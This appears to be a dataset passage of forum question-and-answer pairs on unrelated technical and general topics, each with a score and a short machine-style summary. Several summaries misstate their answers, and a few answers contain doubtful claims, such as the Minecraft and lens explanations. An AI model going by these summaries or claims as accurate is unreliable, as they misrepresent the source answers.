</asp:TableRow>
<asp:TableRow ID="TableRow2" runat="server">
<asp:TableCell runat="server" align="left" Width= "100">
<asp:Button ID="addRow" runat="server" Height="22px" Text="Add Row"
ToolTip="Click to add another row" onclick="ButtonAddRow_Click" />
</asp:TableCell>
</asp:TableRow>
<asp:TableRow ID="TableRow3" runat="server">
<asp:TableCell runat="server" bordercolor="#FFFFFF"> </asp:TableCell>
<asp:TableCell runat="server" align="left" nowrap="nowrap" bordercolor="#FFFFFF">
<asp:Label ID="msg" runat="server" ForeColor="Red" Font-Size="Smaller"></asp:Label>
<asp:ValidationSummary ID="LogonValidationSummary" HeaderText="All the fields (*) are required." DisplayMode="SingleParagraph"
Font-Italic="true" ShowSummary="True" EnableClientScript="true" runat="server" Font-Size="Smaller"/>
</asp:TableCell>
</asp:TableRow>
<asp:TableRow ID="TableRow4" runat="server">
<asp:TableCell ID="TableCell10" runat="server" bordercolor="#FFFFFF"> </asp:TableCell>
<asp:TableCell ID="TableCell11" runat="server" align="left" bordercolor="#FFFFFF">
<asp:Button ID="ButtonSubmit" runat="server" Height="22px" Text="Submit" Width="79px" onclick="ButtonSubmit_Click" />
</asp:TableCell>
</asp:TableRow>
</asp:Table>
</div>
</form>
</body>
</html>
|
I would like if you make use of GridView control and than add row runtime to gridview rather than using table. That would minize your effort also code.
here is code for you : Adding Dynamic Rows in GridView with TextBoxes
| 0.888889 |
Add Dynamic Rows in GridView with TextBoxes
|
windows audio running but no notification bar icon
|
Windows 7 64bit, VIA audio chipset
I just updated some of my drivers using IObit Driver Booster (which is a recognized software developer group), but since the update, I noticed no audio icon on my notification bar
I check the windows audio services and all are enabled and running, but the notification bar icon says the service is not running...
any thoughts or suggestions, yes I can revert to previous drivers but that is a last resort
|
Start / Control Panel / Notification Area Icons:
Select "Turn system items on of off"
Make sure "Volume" is set to "On"
| 1 |
Start / Control Panel / Notification Area Icons
|
Are prime lenses sharp across the whole frame while zoom lenses are soft in the corners?
|
Somebody told me that there is a difference in sharpness between a zoom lens vs. prime lens. A 58-200mm will give sharp focus in the center of the frame but blurry performance at the corners, while in the meantime a prime 200mm will give a sharp definition to the whole frame of the photograph. Is this true?
|
Lens sharpness is fairly complex topic as there are many variables that dictate what makes an image sharp and what does not.
Here I will try and keep it as basic as possible with a just a few areas that can be considered regarding sharpness.
It is generally true that Prime Lenses are sharper than Zoom Lenses.
The reason for this is due to a prime Lens not having the extra lens elements to correct for diffraction as do zoom Lenses.
As a result, and this applies to even the cheapest of the Prime lenses, they are the masters of just one focal length with just one job to do, and generally, they do this fine, even the cheaper lenses.
Whereas, a zoom lens, has to get the sharpness correct over a much larger focal range. The bigger the range, the tougher the job and more scope for errors, but that is not to say that they are not able to correct for any errors and still produce a relatively sharp image.
A $100 50mm f/1.8 may result in very sharp, edge to edge images at say f/8, but a $300 70-200mm f4.0 may actually end up being sharper edge to edge at 80mm and f/16, better known as the lens' sweet spot.
On the other hand, a $2000 Zoom Lens may end up being way sharper throughout the entire focal range of 70-200mm, it can all be relative.
In Zoom lenses, to keep the overall lens size down and to keep focal issues at bay, correction has to be made by introducing a further lens element just behind the main lens to reduce the distance to the sensor. This second lens has to be positioned just right so that it does not produce any chromatic aberration. Several of these elements are positioned within these lenses and each group is there for the correction of CA, reflections, contrast and sharpness.
Therefore, we have to take note that each group is also creating its own set of challenges, and the subsequent groups, along with keeping the size down, are also trying to correct the previous groups reflections and errors.
However, we also have to assume that the more expensive zoom lenses, will have better quality glass, with higher quality elements and grouped more efficiently than say a budget Zoom, and therefore, yield a sharper edge to edge image.
As further research, you maybe interested in reading about MTF, Modulation Transfer Function and how this measure is used in determining sharpness of a lens
| 1 |
Lens sharpness is a fairly complex topic as there are many variables that dictate what makes an image sharp and what does not.
|
How to get <img> src from CDATA in RSS?
|
I am fetching data from RSS feed with Magpie.
$rss[description] contains CDATA with html elements:
<![CDATA[
<div>
<a href='url'>
<img src='img_url' alt='aaa' title='bbb' border='0' width='116' height='116'>
</a>
</div>]]>
Some other text
How can I fetch "img_url" from this? Is preg_match() the only way? Maybe I can use simpleXML?
|
yes,you should use regex,CDATA means that the data should be treat as normal string without parse,so you should think it as a string..
| 0.888889 |
regex,CDATA means that the data should be treated as normal string without parse
|
Does every floor contain a secret room?
|
Does every floor contain a secret room (entered via bombed wall or having X-Ray Specs), including the Womb and Sheol?
|
Yes. (I say this with the experience of always going to the secret room if I have bombs to spare, and having beaten Sheol dozens of times.)
| 0.555556 |
beaten Sheol dozens of times in secret room
|
Theming Form Fields: Alter all fields
|
In Drupal 7, you can put the following code in template.php to add the class 'vr-paragraphs' to the field called 'field_title'
function THEMENAME_form_alter(&$form, &$form_state, $form_id) {
$form['field_title']['#attributes']['class'][] = 'vr-paragraphs';
}
How can I modify this code to target all fields on the form and not just 'field_title'.
Also, this code only adds the class to the form-wrapper part of the filed. How can I alter the label part?
Thanks for any help!
|
When you need to find the child items present in a form, you need to use element_children(), as Drupal functions like filter_process_format() do.
The reason is simple: In a Drupal form array, as well as in a render array, not all the keys are child items; those keys with a name that starts with # are properties. Consider, for example, the form returned from forum_form_forum(); if you loop through it with the following code, you would add values where you should not.
foreach($form as $key => $value) {
$form[$key]['#attributes']['class'][] = 'vr-paragraphs';
}
In fact, $form['#submit'] is not a child item, nor is $form['#theme']. In particular, when your code will be executed for the last key, you would get a PHP error. $form['#theme'] is a string, and $form['#theme']['#attributes'] would select a character of that string, supposing that '#attributes' would be evaluated as the integer 0; even in that case, $form['#theme']['#attributes']['class'][] would not be a valid PHP construct.
The correct code would be the following one.
foreach(element_children($form) as $key) {
$form[$key]['#attributes']['class'][] = 'vr-paragraphs';
}
| 1 |
element_children() is used to find child items in a form array .
|
Suppress 'file truncated' messages when using tail
|
I'm tailing a log file using tail -f messages.log and this is part of the output:
Lorem ipsum dolor sit amet, consectetur adipiscing elit.
Fusce eget tellus sit amet odio porttitor rhoncus.
Donec consequat diam sit amet tellus viverra pellentesque.
tail: messages.log: file truncated
Suspendisse at risus id neque pharetra finibus in facilisis ipsum.
It shows tail: messages.log: file truncated when the file gets truncated automatically and that's supposed to happen, but I just want tail to show me the output without this truncate message.
I've tried using tail -f messages.log | grep -v truncated but it shows me the message anyway.
Is there any method to suppress this message?
|
That message is output on stderr like all warning and error messages.
You can either drop all the error output:
tail -f file 2> /dev/null
Or to filter out only the error messages that contain truncate:
(tail -f file 2>&1 >&3 3>&- | grep -v truncated >&2 3>&-) 3>&1
Or with zsh or bash:
tail -f file 2> >(grep -v truncated >&2)
| 1 |
tail -f file 2> /dev/null
|
CAML query with Five Condtion throws an Microsoft.Sharepoint.SPException
|
string query = <Where>
<And>
<And>
<And>
<Eq></Eq>
<Eq></Eq>
</And>
<Geq></Geq>
<Leq></Leq>
</And>
<Eq></Eq>
</And>
</Where>
In SharePoint foundation development, i have used this CAML query to query a SharePoint list. This query contains five conditions. After above query gets executed, it throws an Microsoft.Sharepoint.SPException exception. I tried but couldn't figure it out. Is there any mistake in above CAML query. Any help is appreciated.
|
I'm in a hurry, to avoid errors in CAML query, try to build the query using CAML Query Builder.
Hope this helps you.
| 1 |
How to avoid errors in CAML query
|
Why are there mobs on my balcony?
|
I have a sweet ravine balcony, that I've lit up, and partially fenced off. It's not connected to anywhere that mobs could spawn yet, come night zombies are at my door creepers are lounging around and spiders are crawling around! I didn't invite them!
Is there any reason for these mobs to spawn here when it's well lit?
|
Hi I have heard you have a zombie promlem? Well I also had some problems with this. The thing is is that you might of hit a zombie spawning point in minecraft. Destroy the ladders because creepers can climb them because in 1.7.3 I had a panic room upstairs. I didn't know how to use stairs so I used a ladder. I was shocked to discover when I climbed up the ladder a creeper followed! Also spiders can climb so put either neatherrack and light it with flint and steel (because neatherrack is a never ending burning object) on the top so spiders get burnt when they get to the top, or put a block a block apart so spiders can't climb up and because your balcony is so high the spider will probably fall to their death after a couple of attempts (unfortunately I can't post an image). About the zombie spawning point there is nothing you can really do there. Hope I helped!!!!
| 0.888889 |
Destroy a zombie spawning point in minecraft
|
Differences between no child vs no children
|
a) They have no child.
b) They have no children.
Are both a) and b) correct? Though b) seems more common.
|
Swan in Practical English Usage (p352) has a good entry on this question:
After no, countable nouns are usually plural unless the sense makes a
singular noun necessary. Compare:
He's got no children. (More natural than He's got no child.)
He's got no wife. (More normal than He's got no wives.)
So, They have no children is indeed more common and natural than They have no child. Conversely, They have no car seems more natural than They have no cars.
| 1 |
No, countable nouns are usually plural unless the sense makes a singular noun necessary
|
Without using dowels, how do I join 2x4s edge to edge to be 1.5" x 7"?
|
I am trying to join a 2x4 supporting a workbench tabletop to another to make a backsplash of sorts. Any ideas how to do this without dowels? (No, I can't use 2x8)
|
As you say you want to use screws and it's non-structural, I'd go with:
Get some 4" wood screws, drill half way down through the upper piece with a drill slightly bigger than the screw heads, you shouldn't need to do pilot holes all the way through as 2" really shouldn't split unless you use huge screws.
I'd go with 4 or 5 screws along the length.
Screw down through the top piece until you get a little bit of the tip poking out (say 1mm)
Align the top piece on the bottom piece, give it a knock to set the exposed tips into the lower piece, and screw down.
If you don't want exposed holes do it the other way up, if the lower piece is not already set in place.
| 1 |
Screw down through the top piece until you get a little bit of the tip poking out
|
hide javascript/jquery scripts from html page?
|
How do I hide my javascript/jquery scripts from html page (from view source on right click)? please give suggestion to achive this .
Thanks.
|
You can't, sorry. No matter what you do, even if you could keep people from being able to view source, users can alway use curl or any similar tool to access the JavaScript manually.
Try a JavaScript minifier or obfuscator if you want to make it harder for people to read your code. A minifier is a good idea anyhow, since it will make your download smaller and your page load faster. An obfuscator might provide a little bit more obfuscation, but probably isn't worth it in the end.
| 1 |
JavaScript minifier or obfuscator if you want to make it harder to read your code
|
1990s VHS Movie Identification
|
Trying to find out which movie from approximately the 1990s contained this plot: A woman sees a beast murder a man in an alley or street near her home. She is terrorized and promises the beast if he lets her live she will never tell anyone about seeing the beast. Then the movie switches from "scary" to "romantic" as she meets the man of her dreams and hooks up with him. It appears to be a "they lived happily ever after" but she has disturbing dreams of the murder and is an artist. She draws or sketches the beast from the alley. Eventually she tells her hubby what she promised not to tell and he turns into the beast to destroy her. Can't remember fully but the beast might have possibly fallen from the sky (crashing like a meteor or alien landing in the opening scene).
|
This could be the final segment of the Tales From the Darkside movie;
Lover's Vow : A despondent artist named Preston (played by James
Remar) witnesses a gruesome murder committed by a gargoyle-like
monster. The monster agrees to spare Preston's life as long as he
swears never to speak of what he saw and heard or describe the
monster's appearance to anyone. The monster vanishes, leaving Preston
traumatized and confused, but bound by his oath never to talk about
the incident.
After that night, Preston's life takes many turns for the better. He
meets a beautiful woman named Carola (played by Rae Dawn Chong), and
they fall in love, marry, and have two children. Preston's struggling
art career becomes wildly successful, and life seems promising, but he
is tormented by memories of his encounter with the monster, and his
vow of silence weighs on him. One night he breaks down and tells
Carola about the monster, even showing her a statue he sculpted of it.
She appears upset; at first Preston assumes she thinks he's lying, but
then she lets out a heartbroken screech and reveals herself to be the
very same creature he met that night.
Admittedly it's a male artist, not a female one but everything else in the story fits exactly.
Warning : Videos contain NSFW content (Creature effects)
| 0.888889 |
Lover's Vow : A despondent artist named Preston witnesses a gruesome murder .
|
Flying and sorcery
|
Rashi (Sanhedrin 44b, s.v. D'ba'ya) relates the story of Shimon ben Shetach's capture of 80 witches. He instructed his students to pick up the witches because the sorcery would be powerless against the students if the witches were ungrounded. Is this to say that sorcery does not work unless the practitioner is grounded?
If so, how can we interpret the Midrash (Bamidbar Rabba, 20:20) that states that Bilaam used sorcery to fly through the air?
|
I think, in the Rashi on Sanhedrin 44b, the subject of the sentence "He should lift one of them from the ground" is not referring to one of the witches, but to one of the jars that he distributed in the sentence before.
As translated here: http://www.bmv.org.il/shiurim/sanhedrin/san080.html
[Shimon ben Shetach] assembled eighty tall young men and distributed to each of them a jar
with a cloak wrapped up inside (it was a rainy day). He also told them
to make sure that they were always eighty in number. "When you come
inside," he said, "one of you must raise his jar from the ground; from
that moment the witches will have no further hold over you; if that
does not work then we can never beat them." Shim'on ben-Shataĥ went
into the witches' coven and left the young men outside. When the
witches asked him who he was he replied that he was a wizard who had
come to test them with his wizardry. "What tricks can you do?" they
asked. "Despite the fact that it is raining today I can produce eighty
young men with dry cloaks!" "Show us!" He went outside and beckoned
the young men inside. They removed the cloaks from the jars, put them
on, and came into the coven. Thus they bettered the witches, took them
outside and strung them all up.
I don't know how lifting one of the jars from the ground would render their powers useless, but maybe that answer lies in what power the witches claimed to have.
| 0.666667 |
Shim'on ben-Shata assembled eighty tall men and distributed a jar with cloak wrapped up inside
|
Can someone who works in tech industry still publish research unrelated to their main job function?
|
It seems to be a common trend nowadays that high paying jobs in the tech industry tend to have both a combination of employees from STEM related fields and non-STEM related fields. Also, I know that companies like Google allow employees to spend 20% of their time to do tasks of their own interest. Given these two facts can an employee, say someone with a Ph.D in astrophysics who works at Google, still publish in journals such as Physical Review, Journal of Physics, etc? This would alleviate a lot of problems, since the difficulties to transition from industry to academia is quite troublesome. Thoughts?
|
The path to publication at a company strongly depends on whether the employment contract includes a "we own your dreams and family photographs" clause. Some technology companies insert such a clause, essentially claiming rights over anything that their employees do that could possibly create intellectual property.
If you are faced with an employment contract of this sort, there is generally a possibility of specifically exempting certain activities as a sort of "pre-existing condition." If you exempt your research area or if you have a more liberal employment contract, then you can generally do whatever scientific research and publication you like outside of work, as long as you do not claim endorsement of the company in any way (e.g., you may not be able to list them as your official affiliation in the publications: check with your supervisor or company legal).
Alternatively, tech companies with broader interests may be entirely fine with you working on projects unrelated to your responsibilities while acting as a company employee, as long as it does not interfere with your ordinary job duties. This is often particularly true for companies that have a consulting or contracting business model, since for such companies "unrelated research" can often turn into "new line of business." Likewise for companies whose product line serves the R&D community. Companies that have a tight focus on a non-R&D-related product line, however, are less likely to be receptive to such "side-project" work.
| 1 |
Exempting research and publication as a "pre-existing condition"
|
Looking for advanced GeoServer tutorials
|
What are sources where I can learn how to use GeoServer?
I know of these two sites:
http://geoserver.org/ - which in fact is not working (at least at the moment)
http://workshops.opengeo.org/geoserver-intro/ - not only (tutorials) for GeoServer
But I am interested in more complex information, and not to read only documentation.
|
I have some notes and tutorials on setting GeoServer up and building web mapping apps at http://ian01.geog.psu.edu.
| 0.888889 |
How to set GeoServer up and build web mapping apps
|
Is hacking back a valid security technique for companies?
|
Recently it has come to light through the reverse engineering of hacking tools that there are vulnerabilities in them that could be exploited to take over an attackers computer during a remote hacking session. In other words, while they are hacking you, you could get into the system from which they are launching the attack to find out what they have managed to access, what the system is, or even p4wn it yourself. The goals would be damage control, deterrence, and ultimately being able to charge the perpetrator of the crime.
Leaving aside the many legal, ethical, and moral considerations (if you are curious there's a debate recorded here), my question is whether hacking back using this technique has any value to a company. If it was ethical and legal would it be worth a company to invest in the systems and skills needed to make this work, or is it a waste of money?
EDIT:
There's been several comments regarding leaving the legal and ethical considerations out of the question, so here's the explanation behind that. So far the discussion of hacking back in this manner has been discussed by lawyers, some shouting it is legal, and others saying it isn't. What they do agree on is that there's no case law, and until there is there will be no clear answer. Also, legalities vary from nation to nation, so the answer to legality is "maybe" and "it depends where you are".
However so far none of the discussion I've seen has been among IT Security professionals who would be the ones to design, deploy, and run systems that would to the hacking back. The lawyers all seem to think that organizations would adopt the technique as a matter of course, but I am not in agreement with that and I would like to hear the views of my peers. This is why I've asked the question apart from legal and ethical aspects.
|
I know a story of a man with a house and a little garden.
After being burgled many and many times, asking police for quicker intervention, but his house was burgled again and again,
Finally the man have installed some traps around his house. Caution advertisment and warning was instaled too, all around his house... But.
Thieves came again and fall in a trap. Harmed, tief had call police to ask for reparation. The man was convicted because of thief harmed. Finally man was forced to paid a lot.
My conviction is: To be better than, I have to not be worst
| 0.888889 |
a man with a garden and a house was burgled again and again .
|
Why don't electrons crash into the nuclei they "orbit"?
|
I'm having trouble understanding the simple "planetary" model of the atom that I'm being taught in my basic chemistry course.
In particular,
I can't see how a negatively charged electron can stay in "orbit" around a positively charged nucleus. Even if the electron actually orbits the nucleus, wouldn't that orbit eventually decay?
I can't reconcile the rapidly moving electrons required by the planetary model with the way atoms are described as forming bonds. If electrons are zooming around in orbits, how do they suddenly "stop" to form bonds.
I understand that certain aspects of quantum mechanics were created to address these problems, and that there are other models of atoms. My question here is whether the planetary model itself addresses these concerns in some way (that I'm missing) and whether I'm right to be uncomfortable with it.
|
Briefly,
The Bohr--planetary model doesn't really address these issues.
Bohr, a genius, just asserted that the phenomena at the atomic level were a combination of stationarity while being in an orbit, and discrete quantum jumps between the orbits. It was a postulate that yielded some agreement with experiment and was very helpful for the future development of quantum mechanics solely because it got people to think about stationarity and discreteness.
2 It is totally useless for discussing chemical bonds. You are quite right to be uncomfortable with it.
3 It would be stretching a point, but you could see the Quantum Mechanics of Heisenberg and Schroedinger as the only way to salvage the planetary model of Bohr, by finally coming up with an explanation for the stationarity of an electron's state around (but no longer considered as « orbiting ») the nucleus and an explanation for discrete jumps as a response to perturbations from outside. But this required seeing the electron more as a wave and hence not having any definite location along the orbit.
| 1 |
The Bohr-planetary model doesn't really address these issues
|
Set proxy in nightwatch.js
|
I'm writing Integration Tests using nightwatch.js in a Node.js application. For a particular test case, I want nightwatch to connect via a proxy. What would be the right way to do this? I can't find anything from its official documentation, or from its Google Group.
The Selenium documentation suggests setting it on the webdriver instance as described here. I'm not sure how to do this via nightwatch.
|
In the nightwatch.json configuration file, you should be able to set a proxy parameter in the desiredCapabilities:
"chrome" : {
"desiredCapabilities": {
"browserName": "chrome",
"javascriptEnabled": true,
"acceptSslCerts": true,
"chromeOptions" : {
"args" : [
"disable-extensions",
"start-maximized"
]
},
"proxy": {
"proxyType": "manual",
"httpProxy": "your_proxy:8080"
}
}
},
Check this doc: https://code.google.com/p/selenium/wiki/JsonWireProtocol#Proxy_JSON_Object
| 1 |
Nightwatch.json proxy parameter in desiredCapabilities
|
Difference between busses
|
I think I am confusing the difference between some of the of busses, such as IDE, SATA, USB, and PCI. What is the relationship between all four, how are they connected to each other? From what I read it seems like PCI connects them together as well as to the CPU, but it's not clear. Any help would be greatly appreciated. I am cross referencing this post with another I made about the Linux commands to browse them. http://unix.stackexchange.com/questions/27414/ide-and-pci-bus-commands
|
The interrelationship of the different busses is roughly as follows:
/ SATA
CPU => Northbridge => PCI Bus => Southbridge => IDE
\ USB
Where the Northbridge and Southbridge are names given to the two main controller chips inside a PC.
IDE and SATA both perform the same job but through different physical media - they are for attaching hard drives etc.
IDE is "Integrated Device Electronics" - also known as "ATA" or "ATAPI" (ATA Peripheral Interface).
SATA is "Serial ATA" - the same ATA protocol but serial instead of parallel.
USB is a serial communications bus which can communicate with any number of devices, not just hard drives and other storage devices. It speaks a completely different protocol to the ATA family.
PCI (and the derivatives PCIe, etc) are much closer to the CPU and generally provides much more direct access to the CPU.
Edit:
You can see how everything is connected together in Windows through the Device Manager set to View Devices by Connection:
| 1 |
Interrelationship between the two main controller chips in a PC
|
Adding slides to previous section - Beamer
|
My presentation is consisted of 4 consecutive slides. I want to divide them in 2 sections. My code:
\documentclass{beamer}
\mode<presentation>
{\usetheme{Frankfurt}
\usecolortheme{lily}
\usefonttheme{professionalfonts}}
\usepackage[english]{babel}
\beamertemplatenavigationsymbolsempty
\setbeamerfont{page number in head/foot}{size=\tiny}
\setbeamertemplate{footline}[frame number]
\begin{document}
\section{Numerical examples}
\begin{frame}
Example 1
\end{frame}
\section{Results}
\begin{frame}
Results 1
\end{frame}
\section{Numerical examples}
\begin{frame}
Example 2
\end{frame}
\section{Results}
\begin{frame}
Results 2
\end{frame}
\end{document}
I have something like this:
Because they have the same names, I would like to achieve the following results:
How can I add slide to the previous section?
|
USe only two \section command and also the possibility of a title for the frame:
\documentclass{beamer}
\usetheme{Frankfurt}
\usecolortheme{lily}
\usefonttheme{professionalfonts}
\usepackage[english]{babel}
\beamertemplatenavigationsymbolsempty
\setbeamerfont{page number in head/foot}{size=\tiny}
setbeamertemplate{footline}[frame number]
\begin{document}
\section{Numerical examples}
\begin{frame}
Example 1
\end{frame}
\begin{frame}{Results}
Results 1
\end{frame}
\section{Numerical examples}
\begin{frame}
Example 2
\end{frame}
\begin{frame}{Results}
Results 2
\end{frame}
\end{document}
| 0.833333 |
USe only two section command and a title for the frame
|
Implementing a NoSQL and RDBMS compatible DAO
|
What would be the correct way to design a DAO which implementation is first going to be targeting a MS SQL database with a STAR model, but yet, business requirements specify the application must be flexible enough that it would be able to be migrated to a NoSQL database in the future if required. Which type of NoSQL, no idea...
My confusion is that i cannot seem to figure out how could I build independent DAOs for the STAR Dimensions and Facts tables which could then be swapped for a completely different model that might not even be table oriented (riak/mongo/whatever).
Therefore,
Should I create DAOs which rather than abstracting the table, it abstracts the CRUD operations - for example create IDaoInsert which can then be implemented as SQLInsertDaoImpl and MongoInsertDaoImpl, each with a completely different model logic etc.
or
Should I just create the typical DAO design whose interface would be something like IDaoCustomerDimension, and the implementation SqlDaoCustomerDimesionImpl and MongoDaoCustomerDimentionImpl respectively?
Hibernate/Etc are out of the scope of this question for the time being.
|
Your architecture should look something like this:
Data source <--> Data source driver <--> CRUD interface <--> Application
You'll need one data source driver implementation for each type of data source. The CRUD interface will be the same regardless of data source.
Note that you can have more than just CRUD methods. You might want to return collections, for example. Just make sure that whatever you do on the Data Source side is translatable to your API on the CRUD side for all possible data sources.
| 0.777778 |
Data source driver <--> Application
|
lisp function that adds x to the nth item of a list
|
I need to write a lisp function that adds x to the nth item of a list. For example, (add 5 2 '(3 1 4 6 7)) returns (3 6 4 6 7).
choosing nthitem is
(defun nthitem (n list)
(cond ((equal n 1) (car list))
(t (nthitem (-n 1) (cdr list)))))
and adding x to a list is:
(defun addto (x list)
(cond ((null list) nil)
(t (cons (+ x (car list))
(addto x (cdr list))))))
But i cannot combine these two together.
|
All you need is nth and setf:
emacs -Q, then evaluate the following:
(defun add-to-nth (x n ys)
(when ys (setf (nth n ys) (+ x (nth n ys)))))
(setq foobar '(1 2 3 4 5))
(add-to-nth 42 1 foobar)
C-h v foobar ; => (1 44 3 4 5)
| 1 |
Defun add-to-nth (x n ys) (setq foobar)
|
Who were the the "Prophets of Zwickau"?
|
Who were the "Prophets of Zwickau" and what influence did they have on modern Christianity?
I'm interested in their theology, history, and influence on Christianity in their day, and whether or not their influence continues to today.
|
The “Zwickau prophets,” i.e., Nicholas Storch, Thomas Drechsel, and Mark Stübner, etc., claimed to be prophets of God and to have received revelations directly from God. They were leading an anti-Protestant, anti-Catholic, spiritualistic attempt at communism and anarchy based on a view of taking the millennium by force as prophets. Thomas Münzer (1490–1525) was a radical figure in the Reformation who became a leader in the Peasants’ Revolt of 1524–1525. From this man we get a clear window into all of his associates:
Thomas Muenzer, one of the Zwickau Prophets, and an eloquent demagogue, was the apostle and travelling evangelist of the social revolution, and a forerunner of modern socialism, communism, and anarchism. He presents a remarkable compound of the discordant elements of radicalism and mysticism. (HISTORY OF THE CHRISTIAN CHURCH, PHILIP SCHAFF (Vol 7, Ch4, P75)
He started by being influenced by doctrines of the reformation but quickly became an extremist who was deposed from his church. He hated Luther even worse then the Pope even though before his ‘fall’ he was actually selected by Luther to become a Lutheran pastor in the city of Zwickau.
He was at enmity with the whole existing order of society, and imagined himself the divinely inspired prophet of a new dispensation, a sort of communistic millennium, in which there should be no priests, no princes, no nobles, and no private property, but complete democratic equality. He inflamed the people in fiery harangues from the pulpit, and in printed tracts to open rebellion against their spiritual and secular rulers. He signed himself “Muenzer with the hammer,” and “with the sword of Gideon.” He advised the killing of all the ungodly. They had no right to live. Christ brought the sword, not peace upon earth. “Look not,” he said, “on the sorrow of the ungodly; let not your sword grow cold from blood; strike hard upon the anvil of Nimrod [the princes]; cast his tower to the ground, because the day is yours.” (HISTORY OF THE CHRISTIAN CHURCH, PHILIP SCHAFF (Vol 7, Ch4, P75)
Although it might not seem that these prophets had any influence on the Christian world, Karl Marx did refer to Thomas Münzer in his own writings, so you could say they had an impact on the world's continued opposition to the church. The beliefs of the Zwickau Prophets goes back to a pre-reformation sect in Bohemia who held a, ‘Taborite creed’. Tabor was a city in Bohemia that held control of local gold mines, the citizens joined local peasants to develop a communist-like society. The key to their quasi-religious communits movement was in their view of the millennial reign of Christ. Taborites lived announced in the millennium there would be no more servants and masters. They promised people would return to a state of pristine innocence.
Zwickau, however, was near the Bohemian border, and there Müntzer was converted by the weaver and adept Niklas Storch, who had lived in Bohemia, to the old Taborite creed: in particular, continuing personal divine revelation to the prophet of the cult, and the necessity for the Elect to seize power and impose a society of theocratic communism by brutal force of arms. In addition, there was to be communism of women: marriage was to be prohibited, and each man was to be able to have any woman at will.
Thomas Müntzer now claimed to be the divinely chosen prophet, destined to wage a war of blood and extermination by the Elect against the sinners. Müntzer claimed that the "living Christ" had permanently entered his own soul. Endowed thereby with perfect insight into the divine will, he asserted himself to be uniquely qualified to fulfill the divine mission. He even spoke of himself as "becoming God." Having graduated from the world of learning, Müntzer was now ready for the world of action. (Karl Marx as Religious Eschatologist, Mises Daily: Friday, October 09, 2009 by Murray N. Rothbard)
Although the influence on communism can be traced, there does not seem to be any lasting influence on Christianity. There is a link between the Bohemian movements and a Christian movement called the Hussites under a Czech reformer Jan Hus (c. 1369–1415) and there are some modern churches who think of themselves to be related to those movements, in particular the Moravian Church, Unity of the Brethren, and the refounded Czechoslovak Hussite churches. However these churches do not resemble the ideas of Thomas Müntzer at all so it seems the lasting impact is more related to the communistic side of things only.
| 1 |
The Zwickau Prophets claimed to have received revelations directly from God . Thomas Müntzer was a radical figure in the Reform
|
Is "either you or [third-person]" followed by a singular verb or a plural verb?
|
Or, put in examples: which of the following is grammatically correct?
Either you or your sister is going to have to do the chores.
Either you or your sister are going to have to do the chores.
The second option comes off as really strange; am I right to say that the first is grammatically correct because "is" directly follows "your sister" as opposed to "you"?
|
You are correct; the correct way to write it is based on the number of the closer subject:
Either you or your sister is going to have to do the chores.
As suggested in point 5 on this page, you might consider the order of the subjects to avoid awkward phrases if one is singular and the other is plural. Compare
Neither my father nor my brothers are going to sell the house.
with
Neither my brothers nor my father is going to sell the house.
| 1 |
How to write a closer subject is based on the number of the closer subject
|
Build-time GLSL syntax validation
|
Is there a way to validate GLSL syntax build-time instead of run-time? My application takes a long time to start and I want to know at the earliest possible stage that my shaders are ok. I'm using Visual Studio/Xcode. The solution probably involves running a tool as a part of build process, but I'm looking for such a tool.
|
NVIDIA's Cg Toolkit should be able to compile (or translate) shaders offline and spit errors. Another option is to create a tiny executable yourself that takes in a shader file and tries to compile it with your GPU driver's compiler (or perhaps such a compiler is already provided for you by the vendor). Though I think at least in the latter cases many compilers are too forgiving to catch all errors.
Related question:
Multiplatform GLSL shader validator?
| 0.888889 |
NVIDIA's Cg Toolkit can compile shaders offline and spit errors
|
What is the best way to calculate total yield on a stock portfolio?
|
What is the best way to calculate the total yield of a stock portfolio?
I started managing my own investments last year and it looks like I leaned towards dividend investing. I am wondering how I can calculate the total yield of a portfolio.
Is there a simple (less accurate) formula for estimating?
Anyone know any online tools to do this?
|
The simplest was is to just divide your total dividends for the year by your starting capital for that year. For example, if you start with $100000 in capital and earn $5000 in dividends during the year your dividend yield for that year would be 5%. Even if you haven't fully invested your total capital during the year it is still available to be invested and the total should be used for the calculation.
Once the year has ended you will have a new balance for you capital, which is the value you should use in the following year.
An alternative to this calculation is to use your average capital for the year, add your starting and ending capital values and divide by 2. You may want to use this method if you trade often during the year instead of buying all your investments only at the start of the year.
Also, another thing to consider is whether you include the dividends as additions to your capital or if you withdrawal dividends when they are paid for your own cashflow. If you reinvest your dividends, then they should be included as part of your capital.
| 1 |
Dividends for the year by starting capital for that year
|
How can I check USB drive contents safely?
|
I would like to check the contents of a USB stick drive from a not-quite trusted source (my sister): is there a safe way to do this in OSX 10.9.5 or 10.10.1?
|
What I typically do is mount the USB drive in an isolated virtual machine. But this requires you have a hypervisor installed and a guest operation system configured, etc. This works because I can snapshot the VM state as well as isolate at the network level. But it's too complicated to explain here.
Probably the easiest way to do this is to mount the drive as read-only. You can do this by using diskutil from Terminal.
Open /Applications/Utilities/Terminal.
Insert the drive into a USB port.
Run diskutil list from Terminal and note the disk number for your USB drive. Here's what my output looked like
$ diskutil list
/dev/disk0
#: TYPE NAME SIZE IDENTIFIER
0: GUID_partition_scheme *251.0 GB disk0
1: EFI EFI 209.7 MB disk0s1
2: Apple_CoreStorage 250.1 GB disk0s2
3: Apple_Boot Recovery HD 650.0 MB disk0s3
/dev/disk1
#: TYPE NAME SIZE IDENTIFIER
0: Apple_HFS Macintosh HD *249.8 GB disk1
Logical Volume on disk0s2
5F6A08FD-AD5D-4C63-9DF2-8C1DE409F264
Unencrypted
/dev/disk2
#: TYPE NAME SIZE IDENTIFIER
0: GUID_partition_scheme *32.7 GB disk2
1: EFI EFI 209.7 MB disk2s1
2: Apple_HFS TomThumb 32.4 GB disk2s2
So my USB drive is disk2.
Eject the disk by running diskutil unmountDisk /dev/diskX (which would be "disk2" for me)
Remount disk in read only mode by running diskutil mountDisk readOnly /dev/diskX
Use Finder or Terminal to examine the disk.
Note that if you eject the drive, you'd need to run this sequence again to have it mount as read only. There are other apps that automate mounting disks as read only but the command line is the only real UI for any OS! ;-) #opinion
| 0.777778 |
How to mount USB drive as read-only
|
Kendo UI grid popup now working after AJAX data
|
I have a kendo grid which has data populated via AJAX.
If I take out the AJAX all is fine but when I populate the data via AJAX the edit button doesn't bring up the pop up.
The grid itself looks like this:
<div id="DefinedLevelsGridContainer">
@(Html.Kendo().Grid(Model.Where(x => x.OrgLevel == 0).First().DefinedFieldsList)
.Name("DefinedlevelsGrid")
.Columns(columns =>
{
columns.Bound(x => x.FieldName).Title("Name");
columns.Bound(x => x.FieldTypeText).Title("Type");
columns.Bound(x => x.isMandatory).Title("Mandatory");
columns.Bound(x => x.DefaultValue).Title("Default Value");
